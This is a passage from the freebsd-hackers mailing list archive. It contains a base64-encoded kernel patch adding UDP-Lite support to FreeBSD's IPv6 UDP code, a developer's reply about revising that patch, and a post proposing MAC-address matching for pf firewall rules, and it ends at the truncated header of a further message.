Y29tbW9uX2N0bGlucHV0KGNtZCwgc2EsIGQsICZWX3VsaXRlY2JpbmZvKSk7Cit9CisKIHN0YXRp YyBpbnQKIHVkcDZfZ2V0Y3JlZChTWVNDVExfSEFORExFUl9BUkdTKQogewpAQCAtNTk3LDkgKzYz NSwxMiBAQCB1ZHA2X291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0 cgogCXN0cnVjdCBpbjZfYWRkciAqbGFkZHIsICpmYWRkciwgaW42YTsKIAlzdHJ1Y3Qgc29ja2Fk ZHJfaW42ICpzaW42ID0gTlVMTDsKIAlzdHJ1Y3QgaWZuZXQgKm9pZnAgPSBOVUxMOworCWludCBj c2Nvdl9wYXJ0aWFsID0gMDsKIAlpbnQgc2NvcGVfYW1iaWd1b3VzID0gMDsKIAl1X3Nob3J0IGZw b3J0OwogCWludCBlcnJvciA9IDA7CisJdWludDhfdCBueHQ7CisJdWludDE2X3QgY3Njb3YgPSAw OwogCXN0cnVjdCBpcDZfcGt0b3B0cyAqb3B0cCwgb3B0OwogCWludCBhZiA9IEFGX0lORVQ2LCBo bGVuID0gc2l6ZW9mKHN0cnVjdCBpcDZfaGRyKTsKIAlpbnQgZmxhZ3M7CkBAIC03NTYsMTMgKzc5 NywyOSBAQCB1ZHA2X291dHB1dChzdHJ1Y3QgaW5wY2IgKmlucCwgc3RydWN0IG1idWYgKm0sIHN0 cgogCS8qCiAJICogU3R1ZmYgY2hlY2tzdW0gYW5kIG91dHB1dCBkYXRhZ3JhbS4KIAkgKi8KKwlu eHQgPSBJUFBST1RPX1VEUDsKIAl1ZHA2ID0gKHN0cnVjdCB1ZHBoZHIgKikobXRvZChtLCBjYWRk cl90KSArIGhsZW4pOwogCXVkcDYtPnVoX3Nwb3J0ID0gaW5wLT5pbnBfbHBvcnQ7IC8qIGxwb3J0 IGlzIGFsd2F5cyBzZXQgaW4gdGhlIFBDQiAqLwogCXVkcDYtPnVoX2Rwb3J0ID0gZnBvcnQ7Ci0J aWYgKHBsZW4gPD0gMHhmZmZmKQorCWlmIChpbnAtPmlucF9zb2NrZXQtPnNvX3Byb3RvLT5wcl9w cm90b2NvbCA9PSBJUFBST1RPX1VEUExJVEUpIHsKKwkJc3RydWN0IHVkcGNiICp1cDsKKworCQlu eHQgPSBJUFBST1RPX1VEUExJVEU7CisJCXVwID0gaW50b3VkcGNiKGlucCk7CisJCWNzY292ID0g dXAtPnVfdHhjc2xlbjsKKwkJaWYgKGNzY292ID49IHBsZW4pCisJCQljc2NvdiA9IDA7CisJCXVk cDYtPnVoX3VsZW4gPSBodG9ucyhjc2Nvdik7CisKKwkJLyogRm9yIFVEUExpdGUsIGNoZWNrc3Vt IGNvdmVyYWdlIGxlbmd0aCBvZiB6ZXJvIG1lYW5zCisJCSAqIHRoZSBlbnRpcmUgVURQTGl0ZSBw YWNrZXQgaXMgY292ZXJlZCBieSB0aGUgY2hlY2tzdW0uCisJCSAqLworCQljc2Nvdl9wYXJ0aWFs ID0gKGNzY292ID09IDApID8gMCA6IDE7CisJfSBlbHNlIGlmIChwbGVuIDw9IDB4ZmZmZikKIAkJ dWRwNi0+dWhfdWxlbiA9IGh0b25zKCh1X3Nob3J0KXBsZW4pOwogCWVsc2UKIAkJdWRwNi0+dWhf dWxlbiA9IDA7CisKIAl1ZHA2LT51aF9zdW0gPSAwOwogCiAJc3dpdGNoIChhZikgewpAQCAtNzcx LDE3ICs4MjgsMjIgQEAgdWRwNl9vdXRwdXQoc3RydWN0IGlucGNiICppbnAsIHN0cnVjdCBtYnVm ICptLCBzdHIKIAkJaXA2LT5pcDZfZmxvdwk9IGlucC0+aW5wX2Zsb3cgJiBJUFY2X0ZMT1dJTkZP X01BU0s7CiAJCWlwNi0+aXA2X3ZmYwkmPSB+SVBWNl9WRVJTSU9OX01BU0s7CiAJCWlwNi0+aXA2 X3ZmYwl8PSBJUFY2X1ZFUlNJT047Ci0jaWYgMAkJCQkvKiBpcDZfcGxlbiB3aWxsIGJlIGZpbGxl ZCBpbiBpcDZfb3V0cHV0LiAqLwotCQlpcDYtPmlwNl9wbGVuCT0gaHRvbnMoKHVfc2hvcnQpcGxl bik7Ci0jZW5kaWYKLQkJaXA2LT5pcDZfbnh0CT0gSVBQUk9UT19VRFA7CisJCWlmIChueHQgPT0g SVBQUk9UT19VRFBMSVRFKQorCQkJaXA2LT5pcDZfcGxlbiA9IGh0b25zKCh1X3Nob3J0KXBsZW4p OworCQlpcDYtPmlwNl9ueHQJPSBueHQ7CiAJCWlwNi0+aXA2X2hsaW0JPSBpbjZfc2VsZWN0aGxp bShpbnAsIE5VTEwpOwogCQlpcDYtPmlwNl9zcmMJPSAqbGFkZHI7CiAJCWlwNi0+aXA2X2RzdAk9 ICpmYWRkcjsKIAotCQl1ZHA2LT51aF9zdW0gPSBpbjZfY2tzdW1fcHNldWRvKGlwNiwgcGxlbiwg SVBQUk9UT19VRFAsIDApOwotCQltLT5tX3BrdGhkci5jc3VtX2ZsYWdzID0gQ1NVTV9VRFBfSVBW NjsKLQkJbS0+bV9wa3RoZHIuY3N1bV9kYXRhID0gb2Zmc2V0b2Yoc3RydWN0IHVkcGhkciwgdWhf c3VtKTsKKwkJaWYgKGNzY292X3BhcnRpYWwpIHsKKwkJCWlmICgodWRwNi0+dWhfc3VtID0gaW42 X2Nrc3VtKG0sIDAsCisJCQkgICAgc2l6ZW9mKHN0cnVjdCBpcDZfaGRyKSwgY3Njb3YpKSA9PSAw KQorCQkJCXVkcDYtPnVoX3N1bSA9IDB4ZmZmZjsKKwkJfSBlbHNlIHsKKwkJCXVkcDYtPnVoX3N1 bSA9IGluNl9ja3N1bV9wc2V1ZG8oaXA2LCBwbGVuLCBueHQsIDApOworCQkJbS0+bV9wa3RoZHIu Y3N1bV9mbGFncyA9IENTVU1fVURQX0lQVjY7CisJCQltLT5tX3BrdGhkci5jc3VtX2RhdGEgPSBv ZmZzZXRvZihzdHJ1Y3QgdWRwaGRyLCB1aF9zdW0pOworCQl9CiAKIAkJZmxhZ3MgPSAwOwogCkBA IC04MjYsMTAgKzg4OCwxMCBAQCB1ZHA2X2Fib3J0KHN0cnVjdCBzb2NrZXQgKnNvKQogCiAJSU5Q X1dMT0NLKGlucCk7CiAJaWYgKCFJTjZfSVNfQUREUl9VTlNQRUNJRklFRCgmaW5wLT5pbjZwX2Zh ZGRyKSkgewotCQlJTlBfSEFTSF9XTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0so aW5wLT5pbnBfcGNiaW5mbyk7CiAJCWluNl9wY2JkaXNjb25uZWN0KGlucCk7CiAJCWlucC0+aW42 cF9sYWRkciA9IGluNmFkZHJfYW55OwotCQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8pOwor CQlJTlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlzb2lzZGlzY29ubmVjdGVk KHNvKTsKIAl9CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTgzOSw4ICs5MDEsMTMgQEAgc3RhdGlj IGludAogdWRwNl9hdHRhY2goc3RydWN0IHNvY2tldCAqc28sIGludCBwcm90bywgc3RydWN0IHRo cmVhZCAqdGQpCiB7CiAJc3RydWN0IGlucGNiICppbnA7CisJc3RydWN0IGlucGNiaW5mbyAqcGNi aW5mbzsKIAlpbnQgZXJyb3I7CiAKKwlpZiAoc28tPnNvX3Byb3RvLT5wcl9wcm90b2NvbCA9PSBJ UFBST1RPX1VEUCkKKwkJcGNiaW5mbyA9ICZWX3VkYmluZm87CisJIGVsc2UKKwkJcGNiaW5mbyA9 ICZWX3VsaXRlY2JpbmZvOwogCWlucCA9IHNvdG9pbnBjYihzbyk7CiAJS0FTU0VSVChpbnAgPT0g TlVMTCwgKCJ1ZHA2X2F0dGFjaDogaW5wICE9IE5VTEwiKSk7CiAKQEAgLTg0OSwxMCArOTE2LDEw IEBAIHVkcDZfYXR0YWNoKHN0cnVjdCBzb2NrZXQgKnNvLCBpbnQgcHJvdG8sIHN0cnVjdCB0CiAJ CWlmIChlcnJvcikKIAkJCXJldHVybiAoZXJyb3IpOwogCX0KLQlJTlBfSU5GT19XTE9DSygmVl91 ZGJpbmZvKTsKLQllcnJvciA9IGluX3BjYmFsbG9jKHNvLCAmVl91ZGJpbmZvKTsKKwlJTlBfSU5G T19XTE9DSyhwY2JpbmZvKTsKKwllcnJvciA9IGluX3BjYmFsbG9jKHNvLCBwY2JpbmZvKTsKIAlp ZiAoZXJyb3IpIHsKLQkJSU5QX0lORk9fV1VOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0lORk9f V1VOTE9DSyhwY2JpbmZvKTsKIAkJcmV0dXJuIChlcnJvcik7CiAJfQogCWlucCA9IChzdHJ1Y3Qg aW5wY2IgKilzby0+c29fcGNiOwpAQCAtODczLDExICs5NDAsMTEgQEAgdWRwNl9hdHRhY2goc3Ry dWN0IHNvY2tldCAqc28sIGludCBwcm90bywgc3RydWN0IHQKIAlpZiAoZXJyb3IpIHsKIAkJaW5f cGNiZGV0YWNoKGlucCk7CiAJCWluX3BjYmZyZWUoaW5wKTsKLQkJSU5QX0lORk9fV1VOTE9DSygm Vl91ZGJpbmZvKTsKKwkJSU5QX0lORk9fV1VOTE9DSyhwY2JpbmZvKTsKIAkJcmV0dXJuIChlcnJv cik7CiAJfQogCUlOUF9XVU5MT0NLKGlucCk7Ci0JSU5QX0lORk9fV1VOTE9DSygmVl91ZGJpbmZv KTsKKwlJTlBfSU5GT19XVU5MT0NLKHBjYmluZm8pOwogCXJldHVybiAoMCk7CiB9CiAKQEAgLTg5 MSw3ICs5NTgsNyBAQCB1ZHA2X2JpbmQoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2NrYWRk ciAqbmFtLAogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwNl9iaW5kOiBpbnAgPT0gTlVMTCIp KTsKIAogCUlOUF9XTE9DSyhpbnApOwotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlO UF9IQVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWlucC0+aW5wX3ZmbGFnICY9IH5JTlBf SVBWNDsKIAlpbnAtPmlucF92ZmxhZyB8PSBJTlBfSVBWNjsKIAlpZiAoKGlucC0+aW5wX2ZsYWdz ICYgSU42UF9JUFY2X1Y2T05MWSkgPT0gMCkgewpAQCAtOTE5LDcgKzk4Niw3IEBAIHVkcDZfYmlu ZChzdHJ1Y3Qgc29ja2V0ICpzbywgc3RydWN0IHNvY2thZGRyICpuYW0sCiAjaWZkZWYgSU5FVAog b3V0OgogI2VuZGlmCi0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJTlBfSEFTSF9X VU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCUlOUF9XVU5MT0NLKGlucCk7CiAJcmV0dXJuIChl cnJvcik7CiB9CkBAIC05NDMsMTAgKzEwMTAsMTAgQEAgdWRwNl9jbG9zZShzdHJ1Y3Qgc29ja2V0 ICpzbykKICNlbmRpZgogCUlOUF9XTE9DSyhpbnApOwogCWlmICghSU42X0lTX0FERFJfVU5TUEVD SUZJRUQoJmlucC0+aW42cF9mYWRkcikpIHsKLQkJSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7 CisJCUlOUF9IQVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCQlpbjZfcGNiZGlzY29ubmVj dChpbnApOwogCQlpbnAtPmluNnBfbGFkZHIgPSBpbjZhZGRyX2FueTsKLQkJSU5QX0hBU0hfV1VO TE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsK IAkJc29pc2Rpc2Nvbm5lY3RlZChzbyk7CiAJfQogCUlOUF9XVU5MT0NLKGlucCk7CkBAIC05ODUs MTAgKzEwNTIsMTAgQEAgdWRwNl9jb25uZWN0KHN0cnVjdCBzb2NrZXQgKnNvLCBzdHJ1Y3Qgc29j a2FkZHIgKm4KIAkJZXJyb3IgPSBwcmlzb25fcmVtb3RlX2lwNCh0ZC0+dGRfdWNyZWQsICZzaW4u c2luX2FkZHIpOwogCQlpZiAoZXJyb3IgIT0gMCkKIAkJCWdvdG8gb3V0OwotCQlJTlBfSEFTSF9X TE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJ CWVycm9yID0gaW5fcGNiY29ubmVjdChpbnAsIChzdHJ1Y3Qgc29ja2FkZHIgKikmc2luLAogCQkg ICAgdGQtPnRkX3VjcmVkKTsKLQkJSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5Q X0hBU0hfV1VOTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAkJaWYgKGVycm9yID09IDApCiAJCQlz b2lzY29ubmVjdGVkKHNvKTsKIAkJZ290byBvdXQ7CkBAIC0xMDAzLDkgKzEwNzAsOSBAQCB1ZHA2 X2Nvbm5lY3Qoc3RydWN0IHNvY2tldCAqc28sIHN0cnVjdCBzb2NrYWRkciAqbgogCWVycm9yID0g cHJpc29uX3JlbW90ZV9pcDYodGQtPnRkX3VjcmVkLCAmc2luNi0+c2luNl9hZGRyKTsKIAlpZiAo ZXJyb3IgIT0gMCkKIAkJZ290byBvdXQ7Ci0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJ SU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJZXJyb3IgPSBpbjZfcGNiY29ubmVj dChpbnAsIG5hbSwgdGQtPnRkX3VjcmVkKTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8p OworCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJaWYgKGVycm9yID09IDAp CiAJCXNvaXNjb25uZWN0ZWQoc28pOwogb3V0OgpAQCAtMTAxOCwxOCArMTA4NSwyMSBAQCB1ZHA2 X2RldGFjaChzdHJ1Y3Qgc29ja2V0ICpzbykKIHsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsKIAlzdHJ1 Y3QgdWRwY2IgKnVwOworCWludCBpc3VkcDsKIAorCWlzdWRwID0gKHNvLT5zb19wcm90by0+cHJf cHJvdG9jb2wgPT0gSVBQUk9UT19VRFApID8gMSA6IDA7CisKIAlpbnAgPSBzb3RvaW5wY2Ioc28p OwogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwNl9kZXRhY2g6IGlucCA9PSBOVUxMIikpOwog Ci0JSU5QX0lORk9fV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0lORk9fV0xPQ0soaW5wLT5pbnBf cGNiaW5mbyk7CiAJSU5QX1dMT0NLKGlucCk7CiAJdXAgPSBpbnRvdWRwY2IoaW5wKTsKIAlLQVNT RVJUKHVwICE9IE5VTEwsICgiJXM6IHVwID09IE5VTEwiLCBfX2Z1bmNfXykpOwogCWluX3BjYmRl dGFjaChpbnApOwogCWluX3BjYmZyZWUoaW5wKTsKLQlJTlBfSU5GT19XVU5MT0NLKCZWX3VkYmlu Zm8pOwotCXVkcF9kaXNjYXJkY2IodXApOworCUlOUF9JTkZPX1dVTkxPQ0soaW5wLT5pbnBfcGNi aW5mbyk7CisJdWRwX2Rpc2NhcmRjYih1cCwgaXN1ZHApOwogfQogCiBzdGF0aWMgaW50CkBAIC0x MDU4LDEwICsxMTI4LDEwIEBAIHVkcDZfZGlzY29ubmVjdChzdHJ1Y3Qgc29ja2V0ICpzbykKIAkJ Z290byBvdXQ7CiAJfQogCi0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hf V0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJaW42X3BjYmRpc2Nvbm5lY3QoaW5wKTsKIAlpbnAt PmluNnBfbGFkZHIgPSBpbjZhZGRyX2FueTsKLQlJTlBfSEFTSF9XVU5MT0NLKCZWX3VkYmluZm8p OworCUlOUF9IQVNIX1dVTkxPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJU09DS19MT0NLKHNvKTsK IAlzby0+c29fc3RhdGUgJj0gflNTX0lTQ09OTkVDVEVEOwkJLyogWFhYICovCiAJU09DS19VTkxP Q0soc28pOwpAQCAtMTEyOCw5ICsxMTk4LDkgQEAgdWRwNl9zZW5kKHN0cnVjdCBzb2NrZXQgKnNv LCBpbnQgZmxhZ3MsIHN0cnVjdCBtYnUKICNpZmRlZiBNQUMKIAltYWNfaW5wY2JfY3JlYXRlX21i dWYoaW5wLCBtKTsKICNlbmRpZgotCUlOUF9IQVNIX1dMT0NLKCZWX3VkYmluZm8pOworCUlOUF9I QVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWVycm9yID0gdWRwNl9vdXRwdXQoaW5wLCBt LCBhZGRyLCBjb250cm9sLCB0ZCk7Ci0JSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwlJ TlBfSEFTSF9XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8pOwogI2lmZGVmIElORVQKICNlbmRpZgkK IAlJTlBfV1VOTE9DSyhpbnApOwpJbmRleDogc3lzL25ldGluZXQ2L3VkcDZfdmFyLmgKPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PQotLS0gc3lzL25ldGluZXQ2L3VkcDZfdmFyLmgJKHJldmlzaW9uIDI0ODQ1OCkKKysrIHN5 cy9uZXRpbmV0Ni91ZHA2X3Zhci5oCSh3b3JraW5nIGNvcHkpCkBAIC02OSw2ICs2OSw3IEBAIFNZ U0NUTF9ERUNMKF9uZXRfaW5ldDZfdWRwNik7CiBleHRlcm4gc3RydWN0IHByX3VzcnJlcXMJdWRw Nl91c3JyZXFzOwogCiB2b2lkCXVkcDZfY3RsaW5wdXQoaW50LCBzdHJ1Y3Qgc29ja2FkZHIgKiwg dm9pZCAqKTsKK3ZvaWQJdWRwbGl0ZTZfY3RsaW5wdXQoaW50LCBzdHJ1Y3Qgc29ja2FkZHIgKiwg dm9pZCAqKTsKIGludAl1ZHA2X2lucHV0KHN0cnVjdCBtYnVmICoqLCBpbnQgKiwgaW50KTsKICNl bmRpZgogCg== --047d7b5d58b4c09aa004f4c73c6e-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 06:50:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 374BCE1B; Mon, 17 Mar 2014 06:50:01 +0000 (UTC) Received: from ns.kevlo.org (220-135-115-6.HINET-IP.hinet.net [220.135.115.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C6935957; Mon, 17 Mar 2014 06:50:00 +0000 (UTC) Received: from srg.kevlo.org (220-135-115-6.HINET-IP.hinet.net [220.135.115.6]) by ns.kevlo.org (8.14.8/8.14.8) with ESMTP id s2H6nlYB014580 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 17 Mar 2014 14:49:48 +0800 (CST) (envelope-from kevlo@FreeBSD.org) Message-ID: <53269B0E.5020904@FreeBSD.org> Date: Mon, 17 Mar 2014 14:49:50 +0800 From: Kevin Lo User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Joe Nosay Subject: Re: Definition struct and int References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , Adrian Chadd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 06:50:01 -0000 On 2014/03/17 14:07, Joe Nosay wrote: > On Sun, Mar 16, 2014 at 1:07 AM, Joe Nosay wrote: > >> >> >> On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay wrote: >> >>> >>> >>> On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd wrote: >>> >>>> Is this -HEAD, or? >>>> >>>> >>>> -a >>>> >>>> >>>> On 13 March 2014 18:13, Joe Nosay wrote: >>>>> Testing of a patch for using UDP Lite on FreeBSD caused no compilation >>>>> errors; however, after adding the options of "VIMAGE" and "MROUTING" to >>>>> conf/kern?GENERIC, make buildkernel stops with: >>>>> /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments to >>>>> function >>>>> call, expected 2, have 1 >>>>> udp_discardcb(up); >>>>> ~~~~~~~~~~~~~ ^ >>>>> /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' >>>> declared here >>>>> void >>>>> ^ >>>>> 1 error generated. >>>>> *** Error code 1 >>>>> >>>>> The file in question of >>>>> /usr/src/sys/netinet/udp_usrreq.c >>>>> >>>>> has the value of >>>>> udp_discardcb(struct udpcb *up, int isudp) >>>>> >>>>> that is causing the problem. >>>>> >>>>> >>>>> >>>>> I believe that the compiler is looking for a value to int isudp but >>>> that >>>>> value does not exist. >>>>> _______________________________________________ >>>>> freebsd-hackers@freebsd.org mailing list >>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>> To unsubscribe, send any mail to " >>>> freebsd-hackers-unsubscribe@freebsd.org" >>>> >>> >>> No, it is 10.0 RELEASE #0 r262601 >>> >>> Last time, I had entered too many files. Here are the relative files. >>> >>> >>> There was no problem in compiling as listed earlier. I have not studied >>> C enough to solve this problem; however, I can see that int isudp happens >>> once while the next closest account is int isudplite. >>> >>> >> I've just upgraded source to head. I have three patches for UDP Lite. The >> question is which one(s) should I use. >> >> The udp-v.diff only has a reference to udp_discardcb up, while patch >> udplite and udplite.diff have the struct and int references. >> >> > Could someone possibly point me towards some online documentation that > would allow me to learn of a solution to this problem? This would be much > better because I would be solving and learning. > > Included are the three patches mentioned earlier. > > Yes, I will be looking at them again. > > Apologies for any noise and if I am coming off the wrong way. Hi Joe, As I mentioned, my udp-lite's diff no longer applies cleanly against -HEAD. I've been busy lately and haven't got time to reply to your messages. Give me another day or two to cook up a revised patch for you to test. Thanks! Kevin From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 07:36:08 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 88996612; Mon, 17 Mar 2014 07:36:08 +0000 (UTC) Received: from mail-wi0-x231.google.com (mail-wi0-x231.google.com [IPv6:2a00:1450:400c:c05::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B35AFCD8; Mon, 17 Mar 2014 07:36:07 +0000 (UTC) Received: by mail-wi0-f177.google.com with SMTP id cc10so1713781wib.4 for ; Mon, 17 Mar 2014 00:36:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=3sckqBvG05EwtnTAvNCf8CLZ1Y/DN1XOfUeFyVTc47c=; b=gSQ3hCnxxTMjf3eg2U0WVLPapuaEiFIi0RZdM+wjcN3PrcT2eLjYpIfgUsBRwrFvXW HFrzdO7ChlqyCe5sT5ThLdamXFDrya5vPf8Dg5WNPzIpc+vcQaIBDVGBVXQ61SJz1VBl 7qmfbbwTXVj4GXZgcqEbj77IkmPaBNoWBUm46fYEWHFqAhmXIZQHpFxz9Pm6kZafxuqu r/6ahUNLi9f+d/rrZu1PuMAb/+1Nm+l/62v4OCnaaaMtgmA/w+uS35Zy0IFYJJ5VQmCe 5TcGwZkAFKP+M5Cgr7e67dqrKHjeC/NNWpdZOJHzILj34DLqNlZJcRzpKc8ach5skupX D4qA== X-Received: by 10.180.19.138 with SMTP id f10mr8233309wie.11.1395041766007; Mon, 17 Mar 2014 00:36:06 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id g5sm35848322wjs.8.2014.03.17.00.36.03 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 17 Mar 2014 00:36:05 -0700 (PDT) Message-ID: <5326A5E4.1000803@gmail.com> Date: Mon, 17 Mar 2014 12:06:04 +0430 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> <5325BC99.2060703@gmail.com> <20140316212106.GF32089@funkthat.com> <7FA2AB99-EE03-4E84-A67D-F3FCD734B66B@FreeBSD.org> In-Reply-To: <7FA2AB99-EE03-4E84-A67D-F3FCD734B66B@FreeBSD.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers , John-Mark Gurney , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 07:36:08 -0000 On 3/17/2014 6:09 AM, Rui Paulo wrote: > On 16 Mar 2014, at 14:21, John-Mark Gurney wrote: > >> Why do we need this info in another location? Isn't this already in >> the packet? How else did we get it then? Or are you dealing w/ the >> fact that the L2 information was stripped by an upper layer, and if >> that is the case, shouldn't you be getting the packet soon then? > It's mostly because the netpfil hooks are in layer 3. The layer 2 headers are stripped by layer 2 code before it passes the mbuf to layer 3. > > I don't know what the goals are, so it's hard to suggest alternatives... Do we want to filter IP packets based on L2 information or do we want to filter L2 packets like ARP? It's possible that the best alternative is to extend netpfil to layer 2 and then validate the mbuf there. > > -- > Rui Paulo > My goal is to add src/dst MAC address constraint to pf filter/nat/rdr/binat/anchor rules to be used in combination with other constraints (protocol, IP address, ...). When done, we can write rules like the following: table { 00.11.22.33.44.55 00.4d.54.f1.43.33 } table { 192.168.1.2 192.168.1.3} gateway1 = "00.23.45.99.d3.e4" # Restrict 10.20.30/24 subnet's web traffic to come from gateway1 block in quick on em1 proto tcp from mac ! $gateway1 10.20.30/24 to any port http # sort of IP/MAC binding block in on em0 from mac ! to any block in on em0 from mac ! to any -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 09:14:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D3CBC292 for ; Mon, 17 Mar 2014 09:14:41 +0000 (UTC) Received: from mail-pa0-x22a.google.com (mail-pa0-x22a.google.com [IPv6:2607:f8b0:400e:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A7F6D7BA for ; Mon, 17 Mar 2014 09:14:41 +0000 (UTC) Received: by mail-pa0-f42.google.com with SMTP id fb1so5480744pad.15 for ; Mon, 17 Mar 2014 02:14:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=+YgaJPkcMxinvABYUcKSVXQHLE7nPU1RYdDEhntLDTc=; b=ufZlZc+ej71z4sn4+v5YE6bLYRZcoC3v+oISNfRQo6GgwTcglPNn3ezaz+x0z81ojR tFLf/FAf1sbrgLTS4kA2JkIo10txx8lwsMdf+/CNDyOW4IqeWKKe+7uHzPoRYDCDFwfx Gobubv6uHcfwPZC2JkZLGzW6AKfy5XBwelblgtEWCn4eL2Qaesk0cU7/mUpW/fURsCld zU1j5OefgGIwWxJ10pORVVszCqcVRmAOso6nf0/p+UJiWANfGRK2G5EPxevJG3CWAyxq AAGHI7A9nw0j4x4DLcnhRbKxvwfuDHeWaEW5DIJggwzJJQ1fHorgf+i6a/c7/NhFzVUW 6IDw== MIME-Version: 1.0 X-Received: by 10.67.5.131 with SMTP id cm3mr24993778pad.92.1395047681278; Mon, 17 Mar 2014 02:14:41 -0700 (PDT) Received: by 10.68.56.71 with HTTP; Mon, 17 Mar 2014 02:14:41 -0700 (PDT) In-Reply-To: <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> Date: Mon, 17 Mar 2014 10:14:41 +0100 Message-ID: Subject: 